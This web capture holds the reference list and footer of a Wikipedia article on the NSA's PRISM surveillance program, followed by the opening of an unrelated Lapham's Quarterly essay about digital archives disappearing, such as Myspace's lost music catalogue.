  55. ^ Miller, Greg; Nakashima, Ellen (June 25, 2013). "NSA Fact Sheet on Surveillance Program Pulled from Web After Senators' Criticism". The Washington Post. Retrieved July 2, 2013.
  56. ^ a b Staff (June 13, 2013). "Snowden Leaks Caused US 'Significant Harm' – Mueller". BBC News. Retrieved July 1, 2013.
  57. ^ Press release (June 13, 2013). "Udall, Wyden Call on National Security Agency Director to Clarify Comments on Effectiveness of Phone Data Collection Program". Office of Ron Wyden. Retrieved July 1, 2013.
  58. ^ Gerstein, Josh (June 18, 2013). "NSA: PRISM Stopped NYSE Attack". Politico. Retrieved July 1, 2013.
  59. ^ Nakashima, Ellen (June 18, 2013). "Officials: surveillance programs foiled more than 50 terrorist attacks". Washington Post.
  60. ^ Chang, Ailsa (June 19, 2013). "Secret Surveillance Credited with Preventing Terror Acts". NPR. Retrieved July 1, 2013.
  61. ^ "NSA Claim of Thwarted NYSE Plot Contradicted by Court Documents". ABC News. June 19, 2013. Retrieved July 13, 2013.
  62. ^ "Udall, Bipartisan Group of Senators Seek Answers from DNI Clapper on Bulk Data Collection Program". June 28, 2013. Archived from the original on July 8, 2013. Retrieved July 13, 2013. Cite uses deprecated parameter |deadurl= (help)
  63. ^ a b Starr, Barbara (June 25, 2013). "Terrorists Try Changes After Snowden Leaks, Official Says". Security Clearance (blog of CNN). Retrieved June 29, 2013.
  64. ^ Nakashima, Ellen; Miller, Greg (June 24, 2013). "U.S. Worried About Security of Files Snowden Is Thought to Have". The Washington Post. Retrieved June 29, 2013.
  65. ^ Blake, Aaron (June 7, 2013). "Congress All But Silent on Surveillance of Internet Records". Post Politics (blog of The Washington Post). Retrieved June 16, 2013. Italic or bold markup not allowed in: |publisher= (help)
  66. ^ Everett, Burgess; Sherman, Jake (June 7, 2013). "Republican Lawmakers: NSA Surveillance News to Me". Politico. Retrieved June 16, 2013.
  67. ^ a b Klinck, Patrick (June 9, 2013). "Higgins on Surveillance: Balance Is Key". WGRZ. Archived from the original on June 15, 2013. Retrieved June 16, 2013. Cite uses deprecated parameter |deadurl= (help)
  68. ^ a b c Bohan, Caren (June 9, 2013). "Lawmakers Urge Review of Domestic Spying, Patriot Act". Chicago Tribune. Reuters. Retrieved June 16, 2013.
  69. ^ Knowlton, Brian (June 9, 2013). "Feinstein 'Open' to Hearings on Surveillance Programs". The Caucus (blog of The New York Times). Retrieved June 16, 2013. Italic or bold markup not allowed in: |publisher= (help)
  70. ^ Van Susteren, Greta (June 11, 2013). "Sen. Feinstein Says Declassifying Info on NSA Program Would Show the Benefits of the Program". Gretawire (blog of Fox News Channel). Archived from the original on June 16, 2013. Retrieved June 16, 2013. Cite uses deprecated parameter |deadurl= (help); Italic or bold markup not allowed in: |publisher= (help)
  71. ^ Chang, Ailsa (June 11, 2013). "What Did Congress Really Know About NSA Tracking". NPR. Retrieved June 16, 2013.
  72. ^ a b Sensenbrenner, Jim (June 9, 2013). "This Abuse of the Patriot Act Must End – President Obama Falsely Claims Congress Authorised All NSA Surveillance – In Fact, Our Law Was Designed to Protect Liberties". The Guardian. Retrieved June 15, 2013.
  73. ^ a b McClanahan, Mike (June 9, 2013). "U.S. Leaders React to Leak Detailing NSA Surveillance Program". WIAT. Archived from the original on January 25, 2014. Retrieved June 15, 2013. Cite uses deprecated parameter |deadurl= (help)
  74. ^ Howell, Jr., Tom (June 10, 2013). "Rep. Todd Rokita: No Government Snooping Without Probable Cause". The Washington Times. Retrieved June 12, 2013.
  75. ^ Risen, James (June 11, 2013). "Report Indicates More Extensive Cooperation by Microsoft on Surveillance". New York Times. Retrieved June 12, 2013.
  76. ^ a b c Watkins, Aiy (July 17, 2013). "Skeptical Congress turns its spycam on NSA surveillance". McClatchy News Service. Retrieved July 18, 2013.
  77. ^ Leonnig, Carol D.; Ellen Nakashima, Ellen; Gellman, Barton (June 29, 2013). "Secret-Court Judges Upset at Portrayal of 'Collaboration' with Government". The Washington Post. Retrieved July 1, 2013.
  78. ^ a b Lichtblau, Eric (July 6, 2013). "In Secret, Court Vastly Broadens Powers of N.S.A." The New York Times. Retrieved July 8, 2013.
  79. ^ Rosenthal, Andrew (July 9, 2013). "A Court Without Adversaries". The New York Times. Retrieved July 10, 2013.
  80. ^ John Shiffman & Kristina Cooke (June 21, 2013). "The judges who preside over America's secret court". Reuters. Retrieved July 13, 2013.
  81. ^ Walton, Reggie B. (July 29, 2013). "2013-07-29 Letter of FISA Court president Reggie B. Walton to the Chairman of the U.S. Senate Judiciary Committee Patrick J. Leahy about certain operations of the FISA Court". www.leahy.senate.gov. Retrieved August 25, 2013.
  82. ^ a b Ackerman, Spencer; Roberts, Dan (June 28, 2013). "US Army Blocks Access to Guardian Website to Preserve 'Network Hygiene' – Military Admits to Filtering Reports and Content Relating to Government Surveillance Programs for Thousands of Personnel". The Guardian. Retrieved June 30, 2013.
  83. ^ a b Ackerman, Spencer (July 1, 2013). "US military blocks entire Guardian website for troops stationed abroad". The Guardian.
  84. ^ a b Ex-Verfassungsschützer: US-Überwachung auch in Österreich, 2013-07-06.(in German)
  85. ^ a b Gert Polli rechnet mit der CIA ab: NEWS-Talk mit dem Ex-Verfassungsschutz-Boss, 2009-11-11.(in German)
  86. ^ Talor, Josh (June 11, 2013). "Australian Government to Assess Prism Impact". ZDNet. Retrieved June 11, 2013.
  87. ^ Taylor, Josh. "Australian government to assess PRISM impact". ZDnet. Retrieved January 13, 2014.
  88. ^ Morning Post, South China. "Australian minister slams 'treachery' of NSA whistleblower Snowden". Retrieved March 20, 2014.
  89. ^ "Dilma Rousseff cancels preparations for US trip over spying row", Donna Bowater, The Telegraph, September 5, 2013. Retrieved October 20, 2013.
  90. ^ "At U.N. General Assembly, Brazilian President Dilma Rousseff Blasts U.S. Spying Operations", Dilma Rousseff, Video and transcript, Democracy Now!, September 24, 2013. Retrieved October 20, 2013.
  91. ^ Soto, Alonso (December 18, 2013). "UPDATE 3-Saab wins Brazil jet deal after NSA spying sours Boeing bid". Reuters. Retrieved January 27, 2014.
  92. ^ Horgan, Colin (June 10, 2013). "Should Canadians Worry About the NSA's PRISM Program? Maybe". ipolitics.ca. Retrieved June 16, 2013.
  93. ^ "Mapping the Canadian Government's Telecommunications Surveillance". citizenlab.org.
  94. ^ "Rules Shielding Online Data From N.S.A. and Other Prying Eyes Advance in Europe", James Kanter and Mike Scott, New York Times, 21 October 2013. Retrieved October 22, 2013.
  95. ^ Loek Essers (February 17, 2014). "Merkel and Hollande to talk about avoiding US servers". ITworld.
  96. ^ "France Calls U.S. Ambassador Over Spying Report", Adrian Croft, Arshad Mohammed, Alexandria Sage, and Mark John, New York Times (Reuters), October 21, 2013. Retrieved October 21, 2013.
  97. ^ Prodhan, Georgina; Davenport, Claire (June 7, 2013). "U.S. Surveillance Revelations Deepen European Fears of Web Giants". Reuters. Retrieved June 16, 2013.
  98. ^ a b c Schofield, Matthew. (June 26, 2013). "Memories of Stasi Color Germans' View of U.S. Surveillance Programs". McClatchy Washington Bureau. Retrieved June 30, 2013.
  99. ^ "The German Army was using PRISM to support its operations in Afghanistan as early as 2011". Der Spiegel (in German). July 17, 2013. Retrieved July 18, 2013.
  100. ^ Jackson, David (October 23, 2013). "Obama says NSA not spying on Merkel's cellphone". USA Today. Retrieved October 24, 2013.
  101. ^ Smith-Spark, Laura (October 24, 2013). "Merkel calls Obama: Spying on friends 'never acceptable'". CNN. Retrieved October 24, 2013.
  102. ^ Sadan, Nitzan (June 8, 2013). "Report: 'Big Brother' of the U.S. Government Relies on Israeli Technology" (Google English translation of Hebrew article). Calcalist. Retrieved June 10, 2013.
  103. ^ Kelley, Michael (June 7, 2013). "Did You Know?: Two Secretive Israeli Companies Reportedly Bugged the US Telecommunications Grid for the NSA". Business Insider. Retrieved June 10, 2013.
  104. ^ Villamil, Jenaro (June 18, 2013)."Big Brother y CISEN millionario negocio en puerta." proceso.com.mx. Retrieved February 19, 2014.
  105. ^ McCorkindale, Wilma (June 11, 2013). "Expert Says Kiwis under Constant Surveillance". Stuff.co.nz. Retrieved June 12, 2013.
  106. ^ "Dotcom doubts big reveal will hurt Key". The New Zealand Herald.
  107. ^ "Spain Summons American Ambassador on New Reports of N.S.A. Spying", Raphael Minder, New York Times, October 28, 2013. Retrieved October 29, 2013.
  108. ^ "Statement on GCHQ's Alleged Interception of Communications under the US PRISM Programme" (PDF). Intelligence and Security Committee of Parliament. July 17, 2013. Retrieved December 17, 2013.
  109. ^ "NSA files: why the Guardian in London destroyed hard drives of leaked files" The Guardian, 20 August 2013
  110. ^ Farivar, Cyrus (June 6, 2013). "New Leak Shows Feds Can Access User Accounts for Google, Facebook and More – Secret Slides Reveal Massive Government Spying, Tech Companies Dispute Reports". Ars Technica. Retrieved June 12, 2013.
  111. ^ a b c d e f Lardinois, Frederic (June 6, 2013). "Google, Facebook, Dropbox, Yahoo, Microsoft and Apple Deny Participation in NSA PRISM Surveillance Program". TechCrunch. Retrieved June 12, 2013.
  112. ^ a b c d Lee, Timothy B. (June 12, 2013). "Here's Everything We Know About PRISM to Date". Wonkblog (blog of The Washington Post). Retrieved June 13, 2013. Italic or bold markup not allowed in: |publisher= (help)
  113. ^ Bekker, Scott (June 20, 2013). "PRISM and Microsoft: What We Know So Far". Redmond Channel Partner. Retrieved July 12, 2013.
  114. ^ a b LeFebvre, Rob (June 7, 2013). "Everything You Need To Know About Apple And PRISM [Updated]". Cult of Mac. Archived from the original on June 9, 2013. Retrieved February 26, 2019.
  115. ^ Stern, Joanna (June 7, 2013). "Dissecting Big Tech's Denial of Involvement in NSA's PRISM Spying Program". ABC News. Retrieved June 13, 2013.
  116. ^ Elias, Paul (May 31, 2013). "Judge Orders Google to Turn Over Data to FBI". Associated Press (via Yahoo! News). Retrieved June 15, 2013.
  117. ^ Grant, Rebecca (June 6, 2013). "Google Tried to Resist FBI Requests for Data, But the FBI Took It Anyway". VentureBeat. Retrieved June 15, 2013.
  118. ^ a b c d e f g h "Tech Companies Concede to Surveillance Program". The New York Times. June 7, 2013. Retrieved June 8, 2013.
  119. ^ Ball, James (June 8, 2013). "NSA's Prism Surveillance Program: How It Works and What It Can Do – Slide from Secret PowerPoint Presentation Describes How Program Collects Data 'Directly from the Servers' of Tech Firms – Obama Deflects Criticism over NSA Surveillance". The Guardian. Retrieved June 15, 2013.
  120. ^ Zetter, Kim (June 11, 2013). "Google's Real Secret Spy Program? Secure FTP". Wired. Retrieved June 13, 2013.
  121. ^ Ullyot, Ted (Facebook General Counsel) (June 14, 2013). "Facebook Releases Data, Including All National Security Requests". Facebook. Retrieved July 4, 2013.
  122. ^ Frank, Jon (Vice President and Deputy General Counsel, Microsoft) (June 14, 2013). "Microsoft's U.S. Law Enforcement and National Security Requests for Last Half of 2012". Microsoft on the Issues (blog of Microsoft). Archived from the original on July 3, 2013. Retrieved July 4, 2013. Cite uses deprecated parameter |dead-url= (help); Italic or bold markup not allowed in: |publisher= (help)CS1 maint: multiple names: authors list (link)
  123. ^ Miller, Claire Cain (June 15, 2013). "Google Calls U.S. Data Request Disclosures a Step Backward for Users". Bits (blog of The New York Times). Retrieved July 4, 2013. Italic or bold markup not allowed in: |publisher= (help)
  124. ^ Mims, Christopher (November 14, 2013). "Cisco's disastrous quarter shows how NSA spying could freeze US companies out of a trillion-dollar opportunity". Quartz. Retrieved January 27, 2014.
  125. ^ Ron Bell; General Counsel (September 12, 2014). "Shedding Light on the Foreign Intelligence Surveillance Court (FISC): Court Findings from Our 2007-2008 Case". Yahoo!. Retrieved September 12, 2014.
  126. ^ Editorial (June 6, 2013). "President Obama's Dragnet". The New York Times. Retrieved June 6, 2013.
  127. ^ Editorial (June 10, 2013). "A Real Debate on Surveillance". The New York Times. Retrieved June 10, 2013.
  128. ^ a b The New York Times Editorial Board (July 8, 2013). "The Laws You Can't See". The New York Times. Retrieved July 9, 2013.
  129. ^ a b c Braun, Stephan (July 9, 2013). "Former Judge Admits Flaws in Secret Court". Associated Press. Archived from the original on July 11, 2013. Retrieved July 10, 2013. Cite uses deprecated parameter |deadurl= (help)
  130. ^ Savage, Charlie (July 9, 2013). "Nation Will Gain by Discussing Surveillance, Expert Tells Privacy Board". The New York Times. Retrieved July 10, 2013.
  131. ^ Wilson, Valerie Plame and Joe [Joseph C.] Wilson (June 23, 2013). "The NSA's Metastasised Intelligence-Industrial Complex Is ripe for Abuse – Where Oversight and Accountability Have Failed, Snowden's Leaks Have Opened Up a Vital Public Debate on Our Rights and Privacy". The Guardian. Retrieved July 1, 2013.
  132. ^ Staff (undated). "Massive Spying Program Exposed – Demand Answers Now". Electronic Frontier Foundation. Retrieved June 13, 2013.
  133. ^ Ed Pilkington; Nicholas Watt (June 12, 2013). "NSA Surveillance Played Little Role in Foiling Terror Plots, Experts Say". The Guardian. Retrieved June 14, 2013. Obama Administration Says NSA Data Helped Make Arrests in Two Important Cases – But Critics Say That Simply Isn't True
  134. ^ Daly, Michael (June 12, 2013). "NSA Surveillance Program Failed to Invade Tamerlan Tsarnaev's Privacy". The Daily Beast. Retrieved June 14, 2013.
  135. ^ Weiner, Rachel (June 10, 2013). "Ron Paul Praises Edward Snowden". Post Politics (blog of The Washington Post). Retrieved June 16, 2013. Italic or bold markup not allowed in: |publisher= (help) "We should be thankful for individuals like Edward Snowden and Glenn Greenwald who see injustice being carried out by their own government and speak out, despite the risk. ... They have done a great service to the American people by exposing the truth about what our government is doing in secret." "The government does not need to know more about what we are doing. ... We need to know more about what the government is doing."
  136. ^ "Ron Paul says Congress has been 'derelict in giving so much power to this government' as it's revealed NSA whistleblower gave cash to his campaign". Daily Mail. June 10, 2013. Retrieved July 17, 2013. Edward Snowden, the NSA Leaker, Gave $500 to Paul's 2012 Campaign – Paul Snarks that PATRIOT Act Author Jim Sensenbrenner's Outrage Is 'Not Coming from a Deeply Principled Viewpoint' – Says a President Paul Would Have Stopped the Entire NSA PRISM Program, Scrapped Giant Data Storage Facility under Construction in Utah
  137. ^ Friedman, Thomas L. (June 11, 2013). "Blowing a whistle". New York Times.
  138. ^ "Shields and Brooks on Syria, Snowden and surveillance". PBS NewsHour. June 14, 2013.
  139. ^ Krauthammer, Charles (June 13, 2013). "Pushing the envelope, NSA-style". Washington Post.
  140. ^ a b Duncan, Ian (June 8, 2013). "David Simon Weighs In on NSA Surveillance – Creator of 'The Wire' Describes 1980s Data Collection by Baltimore Police in Blog Post". The Baltimore Sun. Retrieved June 16, 2013.
  141. ^ "We Are Shocked, Shocked..." (Archive) David Simon Blog. June 7, 2013. Retrieved June 12, 2013.
  142. ^ Harvey, Fiona (June 19, 2013). "NSA Surveillance Is an Attack on American Citizens, Says Noam Chomsky – Governments Will Use Whatever Technology Is Available to Combat Their Primary Enemy – Their Own Population, Says Critic". The Guardian. Retrieved June 20, 2013.
  143. ^ LoGiurato, Brett (June 17, 2013). "The NSA's PRISM Program Is Shockingly Uncontroversial with the American Public". Business Insider. Retrieved July 1, 2013.
  144. ^ "CNN/ORC Poll for release June 17, 2013" (PDF). Retrieved July 6, 2013.
  145. ^ "U.S. Voters Say Snowden Is Whistle-Blower, Not Traitor, Quinnipiac University National Poll Finds; Big Shift On Civil Liberties vs. Counter-Terrorism". Quinnipiac University. July 10, 2013. Retrieved July 13, 2012.
  146. ^ "Terrorism". PollingReport.com. Retrieved July 13, 2013.
  147. ^ Cohen, Jon; Balz, Dan (July 24, 2013). "Poll: Privacy concerns rise after NSA leaks". Washington Post. Retrieved July 25, 2013.
  148. ^ Castro, Daniel (August 2013). "How Much Will PRISM Cost the U.S. Cloud Computing Industry?" (PDF). The Information Technology and Innovation Foundation. Retrieved August 11, 2013.
  149. ^ Peterson, Andrea (August 7, 2013). "NSA snooping could cost U.S. tech companies $35 billion over three years". The Washington Post. Retrieved August 8, 2013.
  150. ^ Rosenbush, Steve (August 6, 2013). "Cloud Industry Could Lose Billions on NSA Disclosures". The Wall Street Journal. Retrieved August 8, 2013.
  151. ^ Yaron, Oded (August 8, 2013). "Study: NSA leaks could cost U.S. $22–35 billion". Haaretz. Retrieved August 8, 2013.
  152. ^ Palmer, Danny (August 6, 2013). "PRISM could cost US cloud firms $35bn but benefit European providers". computing.co.uk. Retrieved August 11, 2013.
  153. ^ Berman, Matt (June 12, 2013). "International Response to NSA: WTF, America?". National Journal (via Yahoo! News). Retrieved July 1, 2013. Italic or bold markup not allowed in: |publisher= (help)
  154. ^ Staff (June 25, 2013). "World from Berlin: 'Do Costs of Hunting Terrorists Exceed Benefits?'". Der Spiegel. Archived from the original on July 9, 2013. Retrieved July 1, 2013.
  155. ^ Fitsanakis, Joseph (June 20, 2013). "Analysis: PRISM Revelations Harm US Political, Financial Interests". IntelNews. Retrieved July 1, 2013.
  156. ^ Murphy, Katherine (June 20, 2013). "NSA Revelations Prompt Questions about Australian Intelligence Agencies – Senator Nick Xenophon Seeks Reassurances That Australian MPs Are Not Being Watched in Wake of Prism Disclosures". The Guardian. Retrieved July 1, 2013.
  157. ^ Sieff, Kevin (June 16, 2013). "NSA Spying Leaks? Taliban Says: Ho-Hum". The Washington Post (via the Pittsburgh Post-Gazette). Retrieved June 16, 2013.
  158. ^ Staff (June 16, 2013). "Spy Programmes No Secret to Taliban". The Washington Post (via the South China Morning Post). Retrieved June 16, 2013.
  159. ^ Jeremy Fleming (October 29, 2013). "Brussels to set up security, business networks in push for European cloud". EurActiv. Retrieved January 27, 2014.
  160. ^ FlorCruz, Michelle (June 7, 2013). "Chinese Netizens Respond to NSA PRISM Data Mining Scandal". International Business Times. Retrieved June 13, 2013.
  161. ^ Staff (June 8, 2013). "Obama Presses Chinese Leader on Cybersecurity". Associated Press (via the Fox News Channel). Retrieved June 13, 2013.
  162. ^ Guangjin, Cheng; Chan, Kahon (June 14, 2013). "US Should 'Explain Hacking Activity'". China Daily. Retrieved June 16, 2013.
  163. ^ Staff (June 11, 2013). "China Media: US Whistleblower". BBC News. Retrieved June 16, 2013.
  164. ^ Staff (June 13, 2013). "H.K. Lawmakers Petition Obama for Leniency Against Whistleblower". Kyodo News (via GlobalPost). Retrieved June 16, 2013.
  165. ^ Ai, Weiwei (June 11, 2013). "NSA Surveillance: The US Is Behaving Like China – Both Governments Think They Are Doing What Is Best for the State and People – But, As I Know, Such Abuse of Power Can Ruin Lives" (archive). The Guardian. Retrieved June 13, 2013.
  166. ^ a b Collier, Kevin (June 7, 2013). "Does the NSA's PRISM Spying Program Violate EU Law?". The Daily Dot. Retrieved June 13, 2013.
  167. ^ Meyer, David (June 7, 2013). "Europeans Call for Answers over U.S. Web Spying Allegations". GigaOM. Retrieved June 13, 2013.
  168. ^ Staff (June 10, 2013). "Späh-Programm der NSA: Merkel will Prism-Skandal bei Obama-Besuch ansprechen" [NSA Spying Program: Merkel Will Address PRISM-Scandal at Obama Visit]. Spiegel Online (in German). Retrieved June 11, 2013.
  169. ^ Schofield, Matthew (June 26, 2013). "Memories of Stasi Color Germans' View of U.S. Surveillance Programs". McClatchy Washington Bureau. Retrieved July 1, 2013.
  170. ^ Roberts, Dan; MacAskill, Ewen; Ball, James (June 10, 2013). "Obama Pressured over NSA Snooping as US Senator Denounces 'Act of Treason' – Information Chiefs Worldwide Sound Alarm While US Senator Dianne Feinstein Orders NSA to Review Monitoring Program". The Guardian. Retrieved June 10, 2013.
  171. ^ Staff (June 20, 2013). France, Spain Ponder Fining Google on Privacy Violation in PRISM Fallout". RT. Retrieved July 2, 2013. "There is a mass of personal information floating about on people in the Google galaxy that people are not even aware of," Falque-Pierrotin, CNIL President, told Reuters. "All we are saying to Google is that we would like it to lift the veil a little on what it's doing." ... "Spain believes the company may be processing a "disproportionate" amount of data and holding onto it for an "undetermined or unjustified" period of time."
  172. ^ a b c Osborn, Andrew; Young, Sarah (June 10, 2013). "UK Government Rejects Accusations Its Use of U.S. Spy System Was Illegal". Reuters UK. Retrieved June 13, 2013.
  173. ^ a b Young, Sarah (June 10, 2013). "UK's Cameron Defends Spy Agencies over PRISM Cyber-Snooping". Reuters (via Yahoo! News). Archived from the original on June 15, 2013. Retrieved July 2, 2013.
  174. ^ a b Robson, Steve (June 26, 2013). "Web Pioneer Berners-Lee Accuses West of Hypocrisy over Internet Spying and Insists Internet Freedom Must Be Safeguarded – British Inventor Describes Internet Spying by Governments as 'Insidious' – Said Snooping in Middle East Has Led to People Being Jailed – Questioned Whether Governments Can Safely Protect Such Sensitive Data". Daily Mail. Retrieved July 2, 2013.
  175. ^ Staff (June 27, 2013). "Spy Games: Inventor of World Wide Web Accuses West of Hypocrisy". RT. Retrieved July 2, 2013.
  176. ^ "Salman Khurshid defends US surveillance programme, says 'it is not snooping'". Ibnlive.in.com. July 2, 2013. Retrieved July 14, 2013.
  177. ^ "India sees 'no reason to say yes' to asylum for Snowden". Hindustan Times. July 2, 2013. Retrieved July 14, 2013.
  178. ^ "It is not actually snooping: Khurshid on US surveillance". The Hindu. PTI. July 2, 2013. Retrieved July 14, 2013.
  179. ^ "Khurshid, Sibal at odds over US snooping". Articles.timesofindia.indiatimes.com. July 3, 2013. Archived from the original on July 11, 2013. Retrieved July 14, 2013. Cite uses deprecated parameter |dead-url= (help)
  180. ^ Muzaffar, Maroosha (July 4, 2013). "Why India is taking the U.S.'s Side in the Snowden Scandal". New Republic. Retrieved July 14, 2013.
  181. ^ Brindaalakshmi K (July 8, 2013). "MP Starts Public Petition For Disclosure Of Indian Data Accessed By PRISM". MediaNama. Retrieved July 14, 2013.
  182. ^ Champion, Marc (July 8, 2013). "Indians See a Gift in NSA Leaks". Bloomberg. Archived from the original on July 13, 2013. Retrieved July 14, 2013. Cite uses deprecated parameter |deadurl= (help)
  183. ^ "Why India needs to speak up!". Rediff.com. July 5, 2013. Retrieved July 14, 2013.
  184. ^ Shiv Visvanathan (July 4, 2013). "Why India needs to speak up!". Firstpost. Retrieved July 15, 2013.
  185. ^ "India rejects Snowden's request for asylum, Khurshid backs surveillance". Indian Express. July 3, 2013. Retrieved July 14, 2013.
  186. ^ "Rajya Sabha MP P Rajeev slams Khurshid on US surveillance issue". Articles.timesofindia.indiatimes.com. July 3, 2013. Archived from the original on July 12, 2013. Retrieved July 14, 2013. Cite uses deprecated parameter |dead-url= (help)
  187. ^ a b c d e f g h i j k "Title 50, section 1881a. Procedures for targeting certain persons outside the United States other than United States persons". US Code. Cornell. Retrieved July 29, 2013.
  188. ^ Gage, Beverly (June 7, 2013). "Somewhere, J. Edgar Hoover Is Smiling – The FBI Director and Notorious Snoop Would Have Loved PRISM." Slate. Retrieved June 18, 2013.
  189. ^ Kaufman, Brett Max (June 11, 2013). "ACLU Files Lawsuit Challenging NSA's Patriot Act Phone Surveillance". Free Future (blog of the American Civil Liberties Union). Retrieved June 13, 2013.
  190. ^ Press release (June 11, 2013). Media Freedom and Information Access Clinic, ACLU Ask Spy Court to Release Secret Opinions on Patriot Act Surveillance Powers". Yale Law School. Retrieved July 2, 2013.
  191. ^ "Second Class Action over Obama/NSA Alleged Privacy Abuse – Klayman Sues Obama, Holder, NSA and 12 More Complicit 'PRISM' Companies". freedomwatchusa.org (Press release). June 12, 2013. Retrieved July 2, 2013. (direct link to lawsuit; PDF format)
  192. ^ Donohue, Laura K. (June 21, 2013). "NSA Surveillance May Be Legal – But It's Unconstitutional". The Washington Post. Retrieved June 29, 2013.
  193. ^ Dwoskin, Elizabeth (June 13, 2013). "Rand Paul Recruits for a Class Action Against NSA". Bloomberg Businessweek. Retrieved June 29, 2013.
  194. ^ Office, Communications (December 10, 2012). "FISA Correspondence Update | U.S. Senator Ron Wyden". Wyden.senate.gov. Retrieved June 9, 2013.
  195. ^ "Download | U.S. Senator Ron Wyden". Wyden.senate.gov. Retrieved June 9, 2013.
  196. ^ I. Charles McCullough to Ron Wyden & Mark Udall (June 15, 2012), via Wired.com: https://www.wired.com/images_blogs/dangerroom/2012/06/IC-IG-Letter.pdf (Archive).
  197. ^ Briefing on the Foreign Intelligence Surveillance Act (FISA) Amendments Act of 2008 (FAA): Section 702 (September 23, 2010), via ACLU.org: https://www.aclu.org/files/pdfs/natsec/faafoia20101129/FAAFBI0065.pdf (Archive).
  198. ^ "FAA FOIA Documents | American Civil Liberties Union". Aclu.org. December 2, 2010. Retrieved June 9, 2013.
  199. ^ "Sen. Paul to Introduce Fourth Amendment Restoration Act of 2013 Rand Paul | United States Senator". Paul.senate.gov. Retrieved October 5, 2013.
  200. ^ "113th Congress: 1st Session: A Bill to stop the National Security Agency from spying on citizens of the United States and for other purposes" (PDF). Paul.senate.gov. Archived from the original (PDF) on October 12, 2013. Retrieved October 5, 2013. Cite uses deprecated parameter |dead-url= (help)
  201. ^ a b c d "NSA says there are three different PRISMs". Top Level Telecommunications. July 26, 2013. Retrieved August 27, 2013.
  202. ^ Drum, Kevin (June 10, 2013). "What Does PRISM Do? How Does It Work? Take 2". Kevin Drum (blog of Mother Jones). Retrieved June 18, 2013. Italic or bold markup not allowed in: |publisher= (help)
  203. ^ Ball, James (June 8, 2013). "NSA's Prism surveillance program: how it works and what it can do". The Guardian. Retrieved July 11, 2013.
  204. ^ Timberg, Craig (July 10, 2013). "The NSA slide you haven't seen". The Washington Post. Retrieved July 11, 2013.
  205. ^ Craig Timberg & Ellen Nakashima (July 6, 2013). "Agreements with private companies protect U.S. access to cables' data for surveillance". The Washington Post. Retrieved April 10, 2014.
  206. ^ Lindemann, Todd (July 6, 2013). "A connected world". The Washington Post. Retrieved February 12, 2014.
  207. ^ Bamford, James (July 12, 2013). "They Know Much More Than You Think". The New York Review of Books. Retrieved July 29, 2013.
  208. ^ Gellman, Barton; Poitras, Laura (June 6, 2013). "Codename PRISM: Secret Government Program Mines Data from 9 U.S. Internet Companies, Including Photographs, Email and More". The Washington Post (via The Republican). Retrieved June 13, 2013. Italic or bold markup not allowed in: |publisher= (help)
  209. ^ Gallagher, Ryan (September 9, 2013). "New Snowden Documents Show NSA Deemed Google Networks a "Target"". Retrieved September 10, 2013.
  210. ^ "NSA Documents Show United States Spied Brazilian Oil Giant". September 8, 2013. Retrieved September 9, 2013.
  211. ^ Gellman, Barton; Soltani, Ashkan (October 30, 2013). "NSA infiltrates links to Yahoo, Google data centers worldwide, Snowden documents say". The Washington Post. Retrieved October 31, 2013.
  212. ^ Gallagher, Sean (October 31, 2013). "How the NSA's MUSCULAR tapped Google's and Yahoo's private networks". Ars Technica. Retrieved November 1, 2013.

External linksEdit

| Wikimedia Commons has media related to PRISM (surveillance program). |

Retrieved from "https://en.wikipedia.org/w/index.php?title=PRISM_(surveillance_program)&oldid=914136698"

Categories: 2013 scandals, American secret government programs, Computer surveillance, Counter-terrorism in the United States, Espionage, George W. Bush administration controversies, Government Communications Headquarters operations, Human rights in the United States, Intelligence agency programmes revealed by Edward Snowden, Law enforcement in the United States, Mass surveillance, National Security Agency, National Security Agency operations, Obama administration controversies, Privacy in the United States, Privacy of telecommunications, Secret government programs, Surveillance scandals, United States national security policy, War on Terror

Talk

Last edited 6 days ago by Magic9mushroom


Content is available under CC BY-SA 3.0 unless otherwise noted.

set Restriction

Add Tags ?

AddDeleteNo

close

close

Please, My Digital Archive. It’s Very Sick. | Lapham’s Quarterly

          Please, My Digital Archive. It’s Very Sick. | Lapham’s Quarterly                         

Jump to navigation

Lapham’s Quarterly

](/)

Subscribe Now

Roundtable

Please, My Digital Archive. It’s Very Sick.

Our past on the internet is disappearing before we can make it history.

By Tanner Howard

Wednesday, September 04, 2019

Untitled (Plaster Man with Sony Watchman Head), by Nam June Paik, 2005. Smithsonian American Art Museum, Gift to the Nam June Paik Archive from the Nam June Paik Estate.

Digital history isn’t history at all—until, without warning, it is. In an age in which any internet user is a creator-in-the-making, reaching a handful of virtual friends or entire corners of the web in a moment’s notice, the line between archive-worthy material and the detritus that populates our feeds grows vanishingly thin. Thus, a paradox emerges: whatever measure of historical value our digital traces may or may not leave behind for future researchers, each individual is capable of becoming a digital archivist, holding on to whatever materials that made their online lives consequential, even if such material means nothing to another human soul.

On paper, the tools to facilitate easy digital archiving already exist. We’re told that the wonders of cloud computing, Google Drive, and the endless memory of our Facebook profiles will hold our past lives in place for posterity, a constant reminder of selves we’d rather forget or those we wish had never left us. But in reality, the web remains a treacherous place for users keen on holding on to remnants of themselves, particularly in ways that escape corporate capture. As platforms and technologies reach obsolescence, abandoned by users eager to find the newest, most relevant home for their virtual selves, the cost of maintaining millions of photos, videos, songs, and memories overwhelms failing tech companies that aren’t in the business of remaining archivists of abandoned profiles.

It’s in this climate that Myspace announced earlier this year that it had lost its catalogue of user-uploaded music: some 50 million tracks disappeared in a moment of digital file corruption. While publications like the Guardian predicted a dozen years ago that Myspace would exist in perpetuity, its slow death was already underway just as the digital ink dried. (Digital newspapers are just as susceptible as everything else online to disappearance: one Columbia Journalism Review report found that the “majority of news outlets [interviewed] had not given any thought to even basic strategies for preserving their digital content.”)

Although Myspace still exists as a shell of its former self, the destruction of its entire music catalogue served as a reminder that the once-dominant social network hasn’t vanished completely. And yet, thanks to its poor digital stewardship, the first musical experiments of countless artists, amateur and professional, were lost in an instant. Even the announcement that 450,000 songs had been preserved by a team at the Internet Archive underlines the scale at which digital history can endure, precariously. While a one percent sample of the now-deleted archive could give any professional historian a lifetime’s worth of researchable material for study, it means little to those who made the nearly 50 million tracks that were lost, never to return. While the missing tracks may be remembered by many as the kind of digital debris that constantly churns from device to device, lacking any enduring value, the rate at which the internet swallows itself whole means that future historians may never be able to decide for themselves what was worth keeping for posterity.

At best, our digital past can feel like some half-remembered dream, in theory reachable but only occasionally dredged up by something like Facebook’s “On This Day” feature. While there’s a power in forgetting, this quasi-accessible personal archive makes any desire to return to the digital past unlikely, especially when huge chunks of our online presence, at least on Facebook, can be bound up in other people’s decisions. Your ex can delete their page, or at least the photos of your shared past. Suddenly a piece of your digital life would be lost forever.

